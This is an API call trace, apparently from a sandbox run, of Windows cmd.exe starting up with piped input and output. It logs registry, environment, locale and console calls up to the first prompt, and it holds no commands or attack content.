	[0215.215] VirtualQuery (in: lpAddress=0x8018204000, lpBuffer=0x80182ffd30, dwLength=0x30 | out: lpBuffer=0x80182ffd30*(BaseAddress=0x8018204000, AllocationBase=0x8018200000, AllocationProtect=0x4, __alignment1=0xffffc182, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0215.215] VirtualQuery (in: lpAddress=0x8018300000, lpBuffer=0x80182ffd30, dwLength=0x30 | out: lpBuffer=0x80182ffd30*(BaseAddress=0x8018300000, AllocationBase=0x8018300000, AllocationProtect=0x4, __alignment1=0xffffc182, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0215.215] GetConsoleOutputCP () returned 0x1b5
	[0215.215] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff68358fbb0 | out: lpCPInfo=0x7ff68358fbb0) returned 1
	[0215.216] SetConsoleCtrlHandler (HandlerRoutine=0x7ff683578150, Add=1) returned 1
	[0215.216] _get_osfhandle (_FileHandle=1) returned 0x254
	[0215.216] GetConsoleMode (in: hConsoleHandle=0x254, lpMode=0x7ff68358fc04 | out: lpMode=0x7ff68358fc04) returned 0
	[0215.216] _get_osfhandle (_FileHandle=0) returned 0x244
	[0215.216] GetConsoleMode (in: hConsoleHandle=0x244, lpMode=0x7ff68358fc00 | out: lpMode=0x7ff68358fc00) returned 0
	[0215.216] _get_osfhandle (_FileHandle=1) returned 0x254
	[0215.216] SetConsoleMode (hConsoleHandle=0x254, dwMode=0x0) returned 0
	[0215.216] _get_osfhandle (_FileHandle=1) returned 0x254
	[0215.216] GetConsoleMode (in: hConsoleHandle=0x254, lpMode=0x7ff68358fc08 | out: lpMode=0x7ff68358fc08) returned 0
	[0215.216] _get_osfhandle (_FileHandle=0) returned 0x244
	[0215.216] GetConsoleMode (in: hConsoleHandle=0x244, lpMode=0x7ff68358fc0c | out: lpMode=0x7ff68358fc0c) returned 0
	[0215.216] GetEnvironmentStringsW () returned 0x1da87285a60*
	[0215.217] GetProcessHeap () returned 0x1da87280000
	[0215.217] RtlAllocateHeap (HeapHandle=0x1da87280000, Flags=0x8, Size=0xa7c) returned 0x1da872864f0
	[0215.217] FreeEnvironmentStringsA (penv="A") returned 1
	[0215.217] GetProcessHeap () returned 0x1da87280000
	[0215.217] RtlAllocateHeap (HeapHandle=0x1da87280000, Flags=0x8, Size=0x8) returned 0x1da87286f80
	[0215.217] GetEnvironmentStringsW () returned 0x1da87285a60*
	[0215.217] GetProcessHeap () returned 0x1da87280000
	[0215.217] RtlAllocateHeap (HeapHandle=0x1da87280000, Flags=0x8, Size=0xa7c) returned 0x1da87286fa0
	[0215.217] FreeEnvironmentStringsA (penv="A") returned 1
	[0215.217] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x80182fec78 | out: phkResult=0x80182fec78*=0x7c) returned 0x0
	[0215.217] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x80182fec70, lpData=0x80182fec90, lpcbData=0x80182fec74*=0x1000 | out: lpType=0x80182fec70*=0x0, lpData=0x80182fec90*=0x4, lpcbData=0x80182fec74*=0x1000) returned 0x2
	[0215.217] RegQueryValueExW (in: hKey=0x7c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x80182fec70, lpData=0x80182fec90, lpcbData=0x80182fec74*=0x1000 | out: lpType=0x80182fec70*=0x4, lpData=0x80182fec90*=0x1, lpcbData=0x80182fec74*=0x4) returned 0x0
	[0215.217] RegQueryValueExW (in: hKey=0x7c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x80182fec70, lpData=0x80182fec90, lpcbData=0x80182fec74*=0x1000 | out: lpType=0x80182fec70*=0x0, lpData=0x80182fec90*=0x1, lpcbData=0x80182fec74*=0x1000) returned 0x2
	[0215.217] RegQueryValueExW (in: hKey=0x7c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x80182fec70, lpData=0x80182fec90, lpcbData=0x80182fec74*=0x1000 | out: lpType=0x80182fec70*=0x4, lpData=0x80182fec90*=0x0, lpcbData=0x80182fec74*=0x4) returned 0x0
	[0215.217] RegQueryValueExW (in: hKey=0x7c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x80182fec70, lpData=0x80182fec90, lpcbData=0x80182fec74*=0x1000 | out: lpType=0x80182fec70*=0x4, lpData=0x80182fec90*=0x40, lpcbData=0x80182fec74*=0x4) returned 0x0
	[0215.217] RegQueryValueExW (in: hKey=0x7c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x80182fec70, lpData=0x80182fec90, lpcbData=0x80182fec74*=0x1000 | out: lpType=0x80182fec70*=0x4, lpData=0x80182fec90*=0x40, lpcbData=0x80182fec74*=0x4) returned 0x0
	[0215.217] RegQueryValueExW (in: hKey=0x7c, lpValueName="AutoRun", lpReserved=0x0, lpType=0x80182fec70, lpData=0x80182fec90, lpcbData=0x80182fec74*=0x1000 | out: lpType=0x80182fec70*=0x0, lpData=0x80182fec90*=0x40, lpcbData=0x80182fec74*=0x1000) returned 0x2
	[0215.217] RegCloseKey (hKey=0x7c) returned 0x0
	[0215.217] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x80182fec78 | out: phkResult=0x80182fec78*=0x7c) returned 0x0
	[0215.217] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x80182fec70, lpData=0x80182fec90, lpcbData=0x80182fec74*=0x1000 | out: lpType=0x80182fec70*=0x0, lpData=0x80182fec90*=0x40, lpcbData=0x80182fec74*=0x1000) returned 0x2
	[0215.217] RegQueryValueExW (in: hKey=0x7c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x80182fec70, lpData=0x80182fec90, lpcbData=0x80182fec74*=0x1000 | out: lpType=0x80182fec70*=0x4, lpData=0x80182fec90*=0x1, lpcbData=0x80182fec74*=0x4) returned 0x0
	[0215.217] RegQueryValueExW (in: hKey=0x7c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x80182fec70, lpData=0x80182fec90, lpcbData=0x80182fec74*=0x1000 | out: lpType=0x80182fec70*=0x0, lpData=0x80182fec90*=0x1, lpcbData=0x80182fec74*=0x1000) returned 0x2
	[0215.217] RegQueryValueExW (in: hKey=0x7c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x80182fec70, lpData=0x80182fec90, lpcbData=0x80182fec74*=0x1000 | out: lpType=0x80182fec70*=0x4, lpData=0x80182fec90*=0x0, lpcbData=0x80182fec74*=0x4) returned 0x0
	[0215.218] RegQueryValueExW (in: hKey=0x7c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x80182fec70, lpData=0x80182fec90, lpcbData=0x80182fec74*=0x1000 | out: lpType=0x80182fec70*=0x4, lpData=0x80182fec90*=0x9, lpcbData=0x80182fec74*=0x4) returned 0x0
	[0215.218] RegQueryValueExW (in: hKey=0x7c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x80182fec70, lpData=0x80182fec90, lpcbData=0x80182fec74*=0x1000 | out: lpType=0x80182fec70*=0x4, lpData=0x80182fec90*=0x9, lpcbData=0x80182fec74*=0x4) returned 0x0
	[0215.218] RegQueryValueExW (in: hKey=0x7c, lpValueName="AutoRun", lpReserved=0x0, lpType=0x80182fec70, lpData=0x80182fec90, lpcbData=0x80182fec74*=0x1000 | out: lpType=0x80182fec70*=0x0, lpData=0x80182fec90*=0x9, lpcbData=0x80182fec74*=0x1000) returned 0x2
	[0215.218] RegCloseKey (hKey=0x7c) returned 0x0
	[0215.218] time (in: timer=0x0 | out: timer=0x0) returned 0x5ccdea3f
	[0215.218] srand (_Seed=0x5ccdea3f) 
	[0215.218] GetCommandLineW () returned="\"C:\\WINDOWS\\system32\\cmd.exe\""
	[0215.218] malloc (_Size=0x4000) returned 0x1da874b54f0
	[0215.218] GetCommandLineW () returned="\"C:\\WINDOWS\\system32\\cmd.exe\""
	[0215.218] malloc (_Size=0xffce) returned 0x1da874c0080
	[0215.218] ??_V@YAXPEAX@Z () returned 0x1da874c0080
	[0215.219] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x1da874c0080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13
	[0215.219] malloc (_Size=0xffce) returned 0x1da874d0060
	[0215.219] ??_V@YAXPEAX@Z () returned 0x1da874d0060
	[0215.220] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1da874d0060, nSize=0x7fe7 | out: lpFilename="C:\\WINDOWS\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b
	[0215.220] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff68358bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb
	[0215.220] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff68358bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0215.220] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff68358bb90, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0215.220] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13
	[0215.220] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11
	[0215.220] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13
	[0215.220] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13
	[0215.220] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12
	[0215.220] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4
	[0215.220] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2
	[0215.220] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8
	[0215.220] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1
	[0215.220] GetProcessHeap () returned 0x1da87280000
	[0215.220] RtlFreeHeap (HeapHandle=0x1da87280000, Flags=0x0, BaseAddress=0x1da872864f0) returned 1
	[0215.220] GetEnvironmentStringsW () returned 0x1da87285a60*
	[0215.220] GetProcessHeap () returned 0x1da87280000
	[0215.220] RtlAllocateHeap (HeapHandle=0x1da87280000, Flags=0x8, Size=0xa94) returned 0x1da87287a30
	[0215.220] FreeEnvironmentStringsA (penv="A") returned 1
	[0215.220] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x7ff68358bb90, nSize=0x2000 | out: lpBuffer="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1b
	[0215.220] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x7ff68358bb90, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0215.220] _wcsicmp (_String1="KEYS", _String2="CD") returned 8
	[0215.220] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6
	[0215.220] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8
	[0215.220] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8
	[0215.221] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7
	[0215.221] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9
	[0215.221] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7
	[0215.221] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3
	[0215.221] malloc (_Size=0xffce) returned 0x1da874e0040
	[0215.221] ??_V@YAXPEAX@Z () returned 0x1da874e0040
	[0215.221] GetProcessHeap () returned 0x1da87280000
	[0215.221] RtlAllocateHeap (HeapHandle=0x1da87280000, Flags=0x8, Size=0x38) returned 0x1da872884d0
	[0215.221] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x1da874e0040 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13
	[0215.222] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32", nBufferLength=0x7fe7, lpBuffer=0x1da874e0040, lpFilePart=0x80182ff7f0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x80182ff7f0*="system32") returned 0x13
	[0215.222] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32" (normalized: "c:\\windows\\system32")) returned 0x10
	[0215.222] FindFirstFileW (in: lpFileName="C:\\WINDOWS", lpFindFileData=0x80182ff520 | out: lpFindFileData=0x80182ff520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0xc838b81d, ftLastAccessTime.dwHighDateTime=0x1d41dc3, ftLastWriteTime.dwLowDateTime=0xc838b81d, ftLastWriteTime.dwHighDateTime=0x1d41dc3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 0x1da87288510
	[0215.222] FindClose (in: hFindFile=0x1da87288510 | out: hFindFile=0x1da87288510) returned 1
	[0215.222] FindFirstFileW (in: lpFileName="C:\\Windows\\system32", lpFindFileData=0x80182ff520 | out: lpFindFileData=0x80182ff520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x8187ef5e, ftLastAccessTime.dwHighDateTime=0x1d4d5d3, ftLastWriteTime.dwLowDateTime=0x8187ef5e, ftLastWriteTime.dwHighDateTime=0x1d4d5d3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System32", cAlternateFileName="")) returned 0x1da87288510
	[0215.222] FindClose (in: hFindFile=0x1da87288510 | out: hFindFile=0x1da87288510) returned 1
	[0215.223] GetFileAttributesW (lpFileName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 0x10
	[0215.223] SetCurrentDirectoryW (lpPathName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 1
	[0215.223] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Windows\\System32") returned 1
	[0215.223] GetProcessHeap () returned 0x1da87280000
	[0215.223] RtlFreeHeap (HeapHandle=0x1da87280000, Flags=0x0, BaseAddress=0x1da87287a30) returned 1
	[0215.223] GetEnvironmentStringsW () returned 0x1da87285a60*
	[0215.223] GetProcessHeap () returned 0x1da87280000
	[0215.223] RtlAllocateHeap (HeapHandle=0x1da87280000, Flags=0x8, Size=0xac4) returned 0x1da87288510
	[0215.223] FreeEnvironmentStringsA (penv="=") returned 1
	[0215.223] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x1da874c0080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13
	[0215.223] GetProcessHeap () returned 0x1da87280000
	[0215.223] RtlFreeHeap (HeapHandle=0x1da87280000, Flags=0x0, BaseAddress=0x1da872884d0) returned 1
	[0215.223] ??_V@YAXPEAX@Z () returned 0x1
	[0215.223] ??_V@YAXPEAX@Z () returned 0x1
	[0215.223] GetProcessHeap () returned 0x1da87280000
	[0215.223] RtlAllocateHeap (HeapHandle=0x1da87280000, Flags=0x8, Size=0x4016) returned 0x1da87288fe0
	[0215.223] GetProcessHeap () returned 0x1da87280000
	[0215.224] RtlFreeHeap (HeapHandle=0x1da87280000, Flags=0x0, BaseAddress=0x1da87288fe0) returned 1
	[0215.224] GetConsoleOutputCP () returned 0x1b5
	[0215.224] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff68358fbb0 | out: lpCPInfo=0x7ff68358fbb0) returned 1
	[0215.224] GetUserDefaultLCID () returned 0x409
	[0215.224] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x7ff68358bb78, cchData=8 | out: lpLCData=":") returned 2
	[0215.224] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x80182ffbb0, cchData=128 | out: lpLCData="0") returned 2
	[0215.224] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x80182ffbb0, cchData=128 | out: lpLCData="0") returned 2
	[0215.224] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x80182ffbb0, cchData=128 | out: lpLCData="1") returned 2
	[0215.225] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x7ff68358bb68, cchData=8 | out: lpLCData="/") returned 2
	[0215.225] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x7ff68358bb00, cchData=32 | out: lpLCData="Mon") returned 4
	[0215.225] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x7ff68358bac0, cchData=32 | out: lpLCData="Tue") returned 4
	[0215.225] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x7ff68358ba80, cchData=32 | out: lpLCData="Wed") returned 4
	[0215.225] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x7ff68358ba40, cchData=32 | out: lpLCData="Thu") returned 4
	[0215.225] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x7ff68358ba00, cchData=32 | out: lpLCData="Fri") returned 4
	[0215.225] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x7ff68358b9c0, cchData=32 | out: lpLCData="Sat") returned 4
	[0215.225] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x7ff68358b980, cchData=32 | out: lpLCData="Sun") returned 4
	[0215.225] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x7ff68358bb58, cchData=8 | out: lpLCData=".") returned 2
	[0215.225] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x7ff68358bb40, cchData=8 | out: lpLCData=",") returned 2
	[0215.225] setlocale (category=0, locale=".OCP") returned="English_United States.437"
	[0215.226] GetProcessHeap () returned 0x1da87280000
	[0215.226] RtlAllocateHeap (HeapHandle=0x1da87280000, Flags=0x0, Size=0x20c) returned 0x1da87287aa0
	[0215.226] GetConsoleTitleW (in: lpConsoleTitle=0x1da87287aa0, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c
	[0215.227] _get_osfhandle (_FileHandle=1) returned 0x254
	[0215.227] GetFileType (hFile=0x254) returned 0x3
	[0215.227] ApiSetQueryApiSetPresence () returned 0x0
	[0215.228] ResolveDelayLoadedAPI () returned 0x7ff850a2d990
	[0215.235] BrandingFormatString () returned 0x1da87288170
	[0215.242] GetVersion () returned 0x3ad7000a
	[0215.242] _vsnwprintf (in: _Buffer=0x80182ffd10, _BufferCount=0x1f, _Format="%d.%d.%04d", _ArgList=0x80182ffca8 | out: _Buffer="10.0.15063") returned 10
	[0215.242] _get_osfhandle (_FileHandle=1) returned 0x254
	[0215.242] GetFileType (hFile=0x254) returned 0x3
	[0215.242] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x7ff683597f60, nSize=0x2000, Arguments=0x0 | out: lpBuffer="Microsoft Windows [Version %1]") returned 0x1e
	[0215.243] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x7ff683597f60, nSize=0x2000, Arguments=0x80182ffcb0 | out: lpBuffer="Microsoft Windows [Version 10.0.15063]") returned 0x26
	[0215.243] _get_osfhandle (_FileHandle=1) returned 0x254
	[0215.243] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Windows [Version 10.0.15063]", cchWideChar=-1, lpMultiByteStr=0x7ff683589970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Windows [Version 10.0.15063]", lpUsedDefaultChar=0x0) returned 39
	[0215.243] WriteFile (in: hFile=0x254, lpBuffer=0x7ff683589970*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x80182ffc08, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesWritten=0x80182ffc08*=0x26, lpOverlapped=0x0) returned 1
	[0215.243] _vsnwprintf (in: _Buffer=0x7ff683597f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x80182ffcd8 | out: _Buffer="\r\n") returned 2
	[0215.243] _get_osfhandle (_FileHandle=1) returned 0x254
	[0215.243] GetFileType (hFile=0x254) returned 0x3
	[0215.243] _get_osfhandle (_FileHandle=1) returned 0x254
	[0215.243] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff683589970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3
	[0215.243] WriteFile (in: hFile=0x254, lpBuffer=0x7ff683589970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x80182ffca8, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesWritten=0x80182ffca8*=0x2, lpOverlapped=0x0) returned 1
	[0215.243] _vsnwprintf (in: _Buffer=0x7ff683597f60, _BufferCount=0x1fff, _Format="%s", _ArgList=0x80182ffcd8 | out: _Buffer="(c) 2017 Microsoft Corporation. All rights reserved.") returned 52
	[0215.243] _get_osfhandle (_FileHandle=1) returned 0x254
	[0215.243] GetFileType (hFile=0x254) returned 0x3
	[0215.243] _get_osfhandle (_FileHandle=1) returned 0x254
	[0215.243] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="(c) 2017 Microsoft Corporation. All rights reserved.", cchWideChar=-1, lpMultiByteStr=0x7ff683589970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="(c) 2017 Microsoft Corporation. All rights reserved.", lpUsedDefaultChar=0x0) returned 53
	[0215.243] WriteFile (in: hFile=0x254, lpBuffer=0x7ff683589970*, nNumberOfBytesToWrite=0x34, lpNumberOfBytesWritten=0x80182ffca8, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesWritten=0x80182ffca8*=0x34, lpOverlapped=0x0) returned 1
	[0215.243] _vsnwprintf (in: _Buffer=0x7ff683597f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x80182ffcd8 | out: _Buffer="\r\n") returned 2
	[0215.243] _get_osfhandle (_FileHandle=1) returned 0x254
	[0215.243] GetFileType (hFile=0x254) returned 0x3
	[0215.243] _get_osfhandle (_FileHandle=1) returned 0x254
	[0215.243] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff683589970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3
	[0215.243] WriteFile (in: hFile=0x254, lpBuffer=0x7ff683589970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x80182ffca8, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesWritten=0x80182ffca8*=0x2, lpOverlapped=0x0) returned 1
	[0215.243] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ff8628a0000
	[0215.243] GetProcAddress (hModule=0x7ff8628a0000, lpProcName="CopyFileExW") returned 0x7ff8628be830
	[0215.243] GetProcAddress (hModule=0x7ff8628a0000, lpProcName="IsDebuggerPresent") returned 0x7ff8628be300
	[0215.243] GetProcAddress (hModule=0x7ff8628a0000, lpProcName="SetConsoleInputExeNameW") returned 0x7ff85f5b0a40
	[0215.243] ??_V@YAXPEAX@Z () returned 0x1
	[0215.244] _get_osfhandle (_FileHandle=0) returned 0x244
	[0215.244] GetFileType (hFile=0x244) returned 0x3
	[0215.245] _setmode (_FileHandle=0, _Mode=32768) returned 16384
	[0215.245] NtOpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x8, OpenAsSelf=0, TokenHandle=0x80182ffb18 | out: TokenHandle=0x80182ffb18*=0x0) returned 0xc000007c
	[0215.245] NtOpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x8, TokenHandle=0x80182ffb18 | out: TokenHandle=0x80182ffb18*=0x94) returned 0x0
	[0215.245] NtQueryInformationToken (in: TokenHandle=0x94, TokenInformationClass=0x12, TokenInformation=0x80182ffac8, TokenInformationLength=0x4, ReturnLength=0x80182ffad0 | out: TokenInformation=0x80182ffac8, ReturnLength=0x80182ffad0) returned 0x0
	[0215.245] NtQueryInformationToken (in: TokenHandle=0x94, TokenInformationClass=0x1a, TokenInformation=0x80182ffad0, TokenInformationLength=0x4, ReturnLength=0x80182ffac8 | out: TokenInformation=0x80182ffad0, ReturnLength=0x80182ffac8) returned 0x0
	[0215.245] NtClose (Handle=0x94) returned 0x0
	[0215.245] FormatMessageW (in: dwFlags=0x1900, lpSource=0x0, dwMessageId=0x40002748, dwLanguageId=0x0, lpBuffer=0x80182ffae0, nSize=0x0, Arguments=0x80182ffae8 | out: lpBuffer="\x8380\x8728\x1da") returned 0xf
	[0215.245] GetProcessHeap () returned 0x1da87280000
	[0215.245] RtlAllocateHeap (HeapHandle=0x1da87280000, Flags=0x8, Size=0x218) returned 0x1da87286c00
	[0215.245] GetConsoleTitleW (in: lpConsoleTitle=0x80182ffb30, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c
	[0215.247] wcsstr (_Str="C:\\WINDOWS\\system32\\cmd.exe", _SubStr="Administrator: ") returned 0x0
	[0215.247] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 1
	[0215.249] GetProcessHeap () returned 0x1da87280000
	[0215.249] RtlFreeHeap (HeapHandle=0x1da87280000, Flags=0x0, BaseAddress=0x1da87286c00) returned 1
	[0215.249] LocalFree (hMem=0x1da87288380) returned 0x0
	[0215.249] _vsnwprintf (in: _Buffer=0x7ff683597f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x80182ff958 | out: _Buffer="\r\n") returned 2
	[0215.249] _get_osfhandle (_FileHandle=1) returned 0x254
	[0215.249] GetFileType (hFile=0x254) returned 0x3
	[0215.249] _get_osfhandle (_FileHandle=1) returned 0x254
	[0215.249] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff683589970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3
	[0215.249] WriteFile (in: hFile=0x254, lpBuffer=0x7ff683589970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x80182ff928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesWritten=0x80182ff928*=0x2, lpOverlapped=0x0) returned 1
	[0215.249] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff68358bb90, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4
	[0215.249] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x1da874c0080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13
	[0215.249] malloc (_Size=0x107ce) returned 0x1da874d0060
	[0215.250] _vsnwprintf (in: _Buffer=0x1da874d0060, _BufferCount=0x83e5, _Format="%s", _ArgList=0x80182ff968 | out: _Buffer="C:\\WINDOWS\\system32") returned 19
	[0215.250] _vsnwprintf (in: _Buffer=0x1da874d0086, _BufferCount=0x83d2, _Format="%c", _ArgList=0x80182ff968 | out: _Buffer=">") returned 1
	[0215.250] _get_osfhandle (_FileHandle=1) returned 0x254
	[0215.250] GetFileType (hFile=0x254) returned 0x3
	[0215.250] _get_osfhandle (_FileHandle=1) returned 0x254
	[0215.250] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\WINDOWS\\system32>", cchWideChar=-1, lpMultiByteStr=0x7ff683589970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\WINDOWS\\system32>", lpUsedDefaultChar=0x0) returned 21
	[0215.250] WriteFile (in: hFile=0x254, lpBuffer=0x7ff683589970*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0x80182ff958, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesWritten=0x80182ff958*=0x14, lpOverlapped=0x0) returned 1
	[0215.250] _get_osfhandle (_FileHandle=0) returned 0x244
	[0215.250] GetFileType (hFile=0x244) returned 0x3
	[0215.250] _get_osfhandle (_FileHandle=0) returned 0x244
	[0215.250] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
